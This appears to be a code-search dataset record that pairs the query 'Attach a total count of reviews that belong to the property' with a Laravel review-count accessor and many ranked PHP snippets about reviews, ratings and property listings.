$this->helpers->signals;\n\t\t$plugins = $this->helpers->getPlugins();\n\t\t#$this->helpers->populateTips();\n $cpt = ['user','signals','plugins'];\n\t\t\t\t\n\t\tif(Auth::check())\n\t\t{\n\t\t\t\n\t\t\t$user = Auth::user();\n\t\t\t\n\t\t\tif($this->helpers->isAdmin($user))\n\t\t\t{\n\t\t\t\t$hasPermission = $this->helpers->hasPermission($user->id,['view_reviews']);\n\t\t\t\t#dd($hasPermission);\n\t\t\t\t$req = $request->all();\n\t\t\t\t\n\t\t\t\tif($hasPermission)\n\t\t\t\t{\n\t\t\t\t$v = \"reviews\";\n\t\t\t\t$req = $request->all();\n $reviews = $this->helpers->getReviews();\n\t\t\t\t#dd($reviews);\n array_push($cpt,'reviews');\n }\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tsession()->flash(\"permissions-status-error\",\"ok\");\n\t\t\t\t\treturn redirect()->intended('/');\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tAuth::logout();\n\t\t\t\t$u = url('/');\n\t\t\t\treturn redirect()->intended($u);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$v = \"login\";\n\t\t}\n\t\treturn view($v,compact($cpt));\n }", "public function ratings()\n {\n \treturn $this->hasMany(Rating::class);\n }", "public function getPropertyRental()\n {\n return $this->propertyRental;\n }", "public function getReviewsFor($title) {\n\t\t$stmt = $this->conn->prepare (\n\t\t\t\t\"SELECT reviews.rating, reviews.review, reviewers.firstname, reviewers.lastname, reviewers.publication\n\t\t\t\t FROM reviewers\n\t\t\t\t INNER JOIN reviews\n\t\t\t\t ON reviewers.reviewerID=reviews.reviewerID\n\t\t\t\t WHERE reviews.title = :title\" );\n\t\t$stmt->bindParam ( 'title', $title );\n\t\t$stmt->execute ();\n\t\t$array = $stmt->fetchAll ( PDO::FETCH_ASSOC );\n\t\treturn $array;\n\t}", "public function userReviews(): IActionResult\n {\n if ($this->isRoleError(\"reviewer\")) {\n return $this->redirectToHome();\n }\n\n $user = $this->ulm->getCurrentUser();\n\n $reviews = $this->db->getUserReviews($user->id);\n\n return $this->viewResultDB(\"UserReviews\", \"Moje recenze\", \"reviews\", $reviews);\n }", "public function getRecommendations();", "private function _addReviewsCount(& $collection, $reviews_count_alias = \"sm_reviews_count\", $rating_summary_alias = \"sm_rating_summary\")\r {\r\r $review_summary_table = Mage::getSingleton('core/resource')->getTableName('review/review_aggregate');\r\r $collection->getSelect()->joinLeft(\r\r array(\"rs_table\" => $review_summary_table),\r\r \"e.entity_id = rs_table.entity_pk_value AND rs_table.store_id=\" . $this->getStoreId(),\r\r array(\r\r $reviews_count_alias => \"rs_table.reviews_count\",\r\r $rating_summary_alias => \"rs_table.rating_summary\"\r\r )\r\r );\r\r }", "public function getRating();", "public function getRating();", "public function get_review() {\n return $this->targets;\n }", "public function actionReview(){\r\n $user = $_REQUEST['pro'];\r\n $list = MvCouiManager::getReview($user);\r\n $aclist = MvCouiManager::getAcreview($user);\r\n $nolist = MvCouiManager::getNoreview($user);\r\n $dellist = MvCouiManager::getDelreview();\r\n $this->render('review',array('list'=>$list,'aclist'=>$aclist,'nolist'=>$nolist,'dellist'=>$dellist));\r\n }", "function getReviewers() {\n $strQuery = \"SELECT * FROM `users` WHERE `user_status` like '%Reviewer%'\";\n\n return $this->query($strQuery);\n }", "public function show(Propertycomments $propertycomments)\n {\n //\n }", "public function __construct()\n {\n $this->reviews = new ArrayCollection();\n }", "public function getRating(){\n return $this->film['rating'];\n }", "public function getSwellendamSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 114\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\n\t\t\t}\n\t\t}", "public function approvals()\n {\n return $this->hasMany(Approval::class);\n }", "public function getReviewInfoCount()\n {\n return $this->count(self::review_info);\n }", "public function getGeorgeSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 108\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\n\t\t\t}\n\t\t}", "public function testProfilePrototypeCountReviews()\n {\n\n }", "public function getCapeAgulhasSimilarPropertyForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_status, property_type, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}" ]
[ "0.678611", "0.6625766", "0.6580983", "0.648968", "0.64773065", "0.64627737", "0.64627737", "0.64627737", "0.64627737", "0.64627737", "0.63587517", "0.63587517", "0.63384396", "0.6316944", "0.6316581", "0.6289606", "0.6274415", "0.6258954", "0.62276095", "0.6165192", "0.61241186", "0.61207074", "0.6105793", "0.6099964", "0.6095198", "0.60624766", "0.60536975", "0.6049787", "0.6033889", "0.6012864", "0.597545", "0.591293", "0.5841446", "0.58049107", "0.5787786", "0.5776491", "0.5762812", "0.5747469", "0.57312393", "0.5725402", "0.5618971", "0.56031966", "0.55964524", "0.55573744", "0.54959786", "0.54942566", "0.548116", "0.54696536", "0.5467847", "0.5455426", "0.54419017", "0.53663254", "0.53298646", "0.53289807", "0.5326251", "0.5321201", "0.5309277", "0.52925617", "0.5250493", "0.5246036", "0.5241454", "0.5237892", "0.5236525", "0.5215618", "0.519537", "0.5177325", "0.51728386", "0.51721174", "0.51335835", "0.51281583", "0.5127676", "0.5106194", "0.51028574", "0.51000893", "0.5094179", "0.50913244", "0.50859404", "0.50786024", "0.50776833", "0.50565225", "0.5030753", "0.5024392", "0.50202", "0.5020127", "0.501628", "0.501542", "0.5009151", "0.5009151", "0.49996835", "0.49974075", "0.4969057", "0.49610522", "0.4954948", "0.49528915", "0.4948892", "0.49473107", "0.4945333", "0.49431303", "0.49423975", "0.49399924" ]
0.5878795
32
Attach a total count of reviews that belong to the property.
public function reviewCount() { $this->attributes['review_count'] = $this->reviews()->selectRaw('count(*) as count')->pluck('count')[0]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function reviewsCount()\n {\n return count($this->reviews);\n }", "private function _addReviewsCount(& $collection, $reviews_count_alias=\"sm_reviews_count\", $rating_summary_alias=\"sm_rating_summary\" ){\r\n\t\t$review_summary_table = Mage::getSingleton('core/resource')->getTableName('review/review_aggregate');\r\n\t\t$collection->getSelect()->joinLeft(\r\n\t\t\tarray(\"rs_table\" => $review_summary_table),\r\n\t\t\t\"e.entity_id = rs_table.entity_pk_value AND rs_table.store_id=\" . $this->getStoreId(),\r\n\t\t\tarray(\r\n\t\t\t\t$reviews_count_alias => \"rs_table.reviews_count\",\r\n\t\t\t\t$rating_summary_alias => \"rs_table.rating_summary\"\r\n\t\t\t)\r\n\t\t);\r\n\t}", "private function _addReviewsCount(& $collection, $reviews_count_alias = \"sm_reviews_count\", $rating_summary_alias = \"sm_rating_summary\")\r {\r\r $review_summary_table = Mage::getSingleton('core/resource')->getTableName('review/review_aggregate');\r\r $collection->getSelect()->joinLeft(\r\r array(\"rs_table\" => $review_summary_table),\r\r \"e.entity_id = rs_table.entity_pk_value AND rs_table.store_id=\" . $this->getStoreId(),\r\r array(\r\r $reviews_count_alias => \"rs_table.reviews_count\",\r\r $rating_summary_alias => \"rs_table.rating_summary\"\r\r )\r\r );\r\r }", "private function _addReviewsCount(& $collection, $reviews_count_alias=\"sm_reviews_count\", $rating_summary_alias=\"sm_rating_summary\" ){\r\n\t\t$review_summary_table = Mage::getSingleton('core/resource')->getTableName('review/review_aggregate');\r\n\t\t$collection->getSelect()->joinLeft(\r\n\t\t\t\tarray(\"rs_table\" => $review_summary_table),\r\n\t\t\t\t\"e.entity_id = rs_table.entity_pk_value AND rs_table.store_id=\" . $this->getStoreId(),\r\n\t\t\t\tarray(\r\n\t\t\t\t\t\t$reviews_count_alias => \"rs_table.reviews_count\",\r\n\t\t\t\t\t\t$rating_summary_alias => \"rs_table.rating_summary\"\r\n\t\t\t\t)\r\n\t\t);\r\n\t}", "public function totalRecount()\n {\n $products = $this->products;\n $newTotal = 0;\n foreach ($products as $product) {\n if ($product->removed) {\n continue;\n }\n $newTotal += $product->count * $product->price;\n }\n $this->total = $newTotal;\n $this->save();\n }", "public function updateCommentCount()\n {\n $this->comment_count = $this->comments()->count();\n\n $this->save();\n }", "public function getCountNewReviews(): int\n {\n return ShopFeedbackEntity::find()\n ->leftJoin('user', 'user.id = shop_feedback.created_by')\n ->where([\n 'shop_feedback.shop_id' => Yii::$app->user->identity->getId(),\n 'shop_feedback.status' => ShopFeedbackEntity::STATUS_UNREAD,\n 'user.status' => UserEntity::STATUS_VERIFIED,\n 'user.is_deleted' => 0\n ])\n ->count();\n }", "public function getReviewInfoCount()\n {\n return $this->count(self::review_info);\n }", "private function incrementFavoriteCount()\n {\n $counter = $this->favoriteCounter()->first();\n\n if ($counter) {\n $counter->count++;\n $counter->save();\n } else {\n $counter = new FavoriteCounter;\n $counter->count = 1;\n $this->favoriteCounter()->save($counter);\n }\n }", "public function incrementVoteCount()\n {\n $this->setVotesCount( $this->getVotesCount() + 1 );\n }", "static function addReview($bookingId, $hotelId, $rating, $comment)\n {\n $db = DB::getConnection();\n try {\n $st = $db->prepare('INSERT INTO projekt_reviews(id_booking, id_user, name_user, id_hotel, name_hotel, rating, comment) VALUES (:id_booking, :id_user, :name_user, :id_hotel, :name_hotel, :rating, :comment)');\n $st->execute(array('id_booking' => $bookingId, 'id_user' => $_SESSION['user']->getId(), 'name_user' => $_SESSION['user']->getName(), 'id_hotel' => $hotelId, 'name_hotel' => Hotel::find($hotelId)->getName(), 'rating' => $rating, 'comment' => $comment));\n } catch (PDOException $e) {\n exit(\"PDO error [insert projekt_users]: \" . $e->getMessage());\n }\n try {\n echo $rating;\n $st = $db->prepare('UPDATE projekt_hotels SET rating = (rating * number_of_comments + :rating)/(number_of_comments + 1), number_of_comments = number_of_comments + 1 WHERE id = :id_hotel');\n $st->execute(array('id_hotel' => $hotelId, 'rating' => $rating));\n } catch (PDOException $e) {\n exit(\"PDO error [UPDATE projekt_hotels]: \" . $e->getMessage());\n }\n }", "private function incrementFavoriteCount()\n\t{\n\t\t$counter = $this->favoriteCounter()->first();\n\n\t\tif($counter) {\n\t\t\t$counter->count++;\n\t\t\t$counter->save();\n\t\t} else {\n\t\t\t$counter = new FavoriteCounter;\n\t\t\t$counter->count = 1;\n\t\t\t$this->favoriteCounter()->save($counter);\n\t\t}\n\t}", "public function setTotalCount($totalCount);", "public function incViewCount()\n {\n $incView = (int) $this->attribute( 'view_count' );\n $incView++;\n $this->setAttribute( 'view_count', $incView );\n $this->store();\n }", "public function getTotalPeopleAttribute(): int\n {\n return PersonCertification::where('certification_id', $this->id)->count();\n }", "public static function updateNumReviews(Destination $dest){\n\n $db = dbConnect::getInstance();\n //query\n $q = \"UPDATE destination SET num_reviews = '\" . $dest->getNumReviews()\n . \"' WHERE dest_id = \" . $dest->getDestId() . \"\";\n\n if(!$db->query($q)) return false;\n\n return true;\n }", "public function totalreatingandreview($productid){\n\t\t$this->db->where('ProductId', $productid);\n\t\t$this->db->select('Id');\n\t\t$query=$this->db->get('tbl_review');\n\t\techo $query->num_rows();\n\t}", "public function put_review($data)\n\t{\n\t\t$review_count = $this->count_reviews([\n\t\t\t'restaurant_id'\t=>\t$data['restaurant_id'],\n\t\t\t'author_id'\t\t=>\t$data['author_id']\n\t\t]);\n\t\tif ($review_count < 1)\n\t\t{\n\t\t\tunset($data['javascript']);\n\t\t\t$this->db->insert('reviews', $data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->filter_results([\n\t\t\t\t'restaurant_id'\t=>\t$data['restaurant_id'],\n\t\t\t\t'author_id'\t=>\t$data['author_id']\n\t\t\t]);\n\t\t\tunset($data['javascript']);\n\t\t\t$this->db->update('reviews', $data);\n\t\t}\n\t}", "public function updateQuantity()\n {\n $this->load('itemAddressFiles');\n $quantity = 0;\n foreach ($this->itemAddressFiles as $addressFileLink) {\n $quantity += $addressFileLink->count;\n }\n $quantity += $this->mail_to_me;\n $this->quantity = $quantity;\n $this->save();\n $this->_calculateTotal();\n }", "public function testGetTotalRating()\n {\n $rating = new Rating($this->user->getId(), $this->video->getId(), 5);\n $rating->insert();\n\n $rating = new Rating($this->extraUser->getId(), $this->video->getId(), 2);\n $rating->insert();\n\n\n $totalRating = Rating::getTotalRating($this->video->getId());\n $this->assertEquals(7 / 2, $totalRating);\n }", "public function increaseCommentCount()\n {\n \tif($this->comment_count != null)\n \t\t$this->comment_count++;\n \telse\n \t\t$this->comment_count = 1;\n \t$this->save();\n }", "public function updateLikesCount()\n {\n $totals = Db::table('rainlab_forum_likes as r')\n ->select(Db::raw('sum(r.like) as likes, sum(r.unlike) as unlikes'))\n ->wherePostId($this->id)\n ->first();\n\n $this->count_likes = $totals->likes;\n $this->count_unlikes = $totals->unlikes;\n $this->save();\n }", "public function testProfilePrototypeCountReviews()\n {\n\n }", "public function recalculateRating($rating)\n {\n $reviews = $this->reviews();\n $avgRating = $reviews->avg('rating');\n $this->rating_cache = round($avgRating,1);\n $this->rating_count = $reviews->count();\n $this->save();\n }", "public function addReview($review) {\n $this->reviews[] = $review;\n }", "public function setReviews($reviews) {\n $this->properties['reviews'] = $reviews;\n\n return $this;\n }", "public function countVotesOf(PersistentCollection $fields);", "public function reviews() {\n return $this->hasMany('App\\Models\\ProductReview');\n }", "public function updateTotal() {\n //get the scans for this user\n $scans = $this->scans();\n //create running total\n $newTotal = 0; \n //for each scan, add the total pups and virus to the total\n foreach ($scans as $scan) {\n $newTotal += $scan->pups + $scan->troj_mal;\n }\n //sets and saves the new total for this user\n $this->total = $newTotal;\n $this->save();\n }", "private function countSearchResults(): void\n {\n $this->SearchResult->total_matches = count($this->SearchResult->matches);\n $this->SearchResult->total_indecisive_matches = count($this->SearchResult->indecisive_matches);\n $this->SearchResult->total_no_matches = count($this->SearchResult->no_matches);\n }", "public function setreviewedAttribute()\n {\n $attribute_name = \"reviewed\";\n\n $this->attributes[$attribute_name] = 1;\n }", "public function reviews() \n {\n return $this->hasMany('App\\Review');\n }", "public function customize_review_count( $count, $product ) {\n\n\t\tif ( is_singular( 'product' ) ) {\n\t\t\t$count = wc_product_reviews_pro_get_comments_number( $product->id, 'review' );\n\t\t}\n\n\t\treturn $count;\n\t}", "private function updateCountsComment()\n {\n $this->commentManager->updateCommentsCount();\n }", "public function increaseOffersCount() {\n $this->user->increaseNumberOfOffers();\n }", "public function addReview($review)\n {\n $this->reviews()->create($review);\n }", "public function reviews()\n {\n return $this->hasMany('App\\Review');\n }", "public function reviews()\n {\n return $this->hasMany('App\\Review');\n }", "public function tbreviewcount()\n {\n $pageReference = $this->_request->getParam('page_identifier') ? $this->_request->getParam('page_identifier') : '';\n\n $reviewCount = $this->_request->getParam('review_count') ? $this->_request->getParam('review_count') : '';\n\n $productId = $this->_request->getParam('product_id') ? $this->_request->getParam('product_id') : '';\n\n $objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n $coreSession = $objectManager->create('Magento\\Framework\\Session\\SessionManagerInterface');\n\n if (!empty($pageReference) && $reviewCount > 0) {\n try {\n if ($pageReference == Targetbay_Tracking_Helper_Data::RATINGS_STATS) {\n $coreSession->setProductReviewCount($reviewCount);\n } elseif ($pageReference == Targetbay_Tracking_Helper_Data::QUESTION_STATS) {\n $coreSession->setQaReviewCount($reviewCount);\n } elseif ($pageReference == Targetbay_Tracking_Helper_Data::RATINGS_STATS\n && $productId == ''\n ) {\n $coreSession->setSiteReviewCount($reviewCount);\n }\n } catch (\\Exception $e) {\n $this->_trackingHelper->debug('Error :' . $e);\n }\n return true;\n } else {\n return false;\n }\n }", "public function index()\n\t{\n\t\t$reviews = Review::all();\n\t\tforeach ($reviews as $key => $value) {\n\t\t\t$value->number = count($value->solutions);\n\t\t}\n\t\treturn $reviews;\n\t}", "abstract public function doCountVotesOf(PersistentCollection $fields);", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "protected function set__reviews( $val )\n\t{\n\t\t\n\t}", "public function upCommentCount()\n {\n Doctrine_Query::create()->update('CheckIn c')->set('c.comment_count', 'c.comment_count + 1')->where('c.id = ?', $this->getId())->execute();\n }", "public function reviews()\n {\n return $this->hasMany(Review::class);\n }", "protected function getTotalRelevantRelationshipCount()\n {\n return count($this->getCombinedRelationships())\n + count( $this->data['relationships']['image'] )\n + count( $this->data['relationships']['file'] )\n + count( $this->data['relationships']['checkbox'] )\n + count( $this->data['relationships']['category'] );\n }", "public function reviews() {\n return $this->hasMany('App\\Models\\Review');\n }", "public function getCountRating($product,$count)\n {\n\n $reviews = DB::table('feedbacks')\n ->where(['approved'=>'1','feedbackable_type'=>'App\\Inventory','feedbackable_id'=>$product])\n ->select('rating', DB::raw('count(*) as total'))\n ->groupBy('rating')\n ->orderBy('rating','desc')\n ->get();\n\n $totalReviews = $count;\n \n for ($i = 5; $i >= 1; $i--) {\n if (! $reviews->isEmpty()) {\n foreach ($reviews as $review) {\n if ($review->rating == $i) {\n $percentage[$i] = $review->total;\n\n break;\n } else {\n $percentage[$i]=0;\n }\n }\n } else {\n $percentage[$i]=0;\n }\n }\n\n return $percentage;\n }", "public function reviews()\n {\n return $this->hasMany('App\\Models\\Review');\n }", "public function reviews()\n {\n return $this->HasMany('App\\Models\\Review');\n }", "public function setTotalItemCount($totalItemCount);", "private function setTotalFromData()\n {\n if ($this->dataHasTotal()) {\n $this->collection->items[$this->cart_hash]->total = $this->data['total'];\n 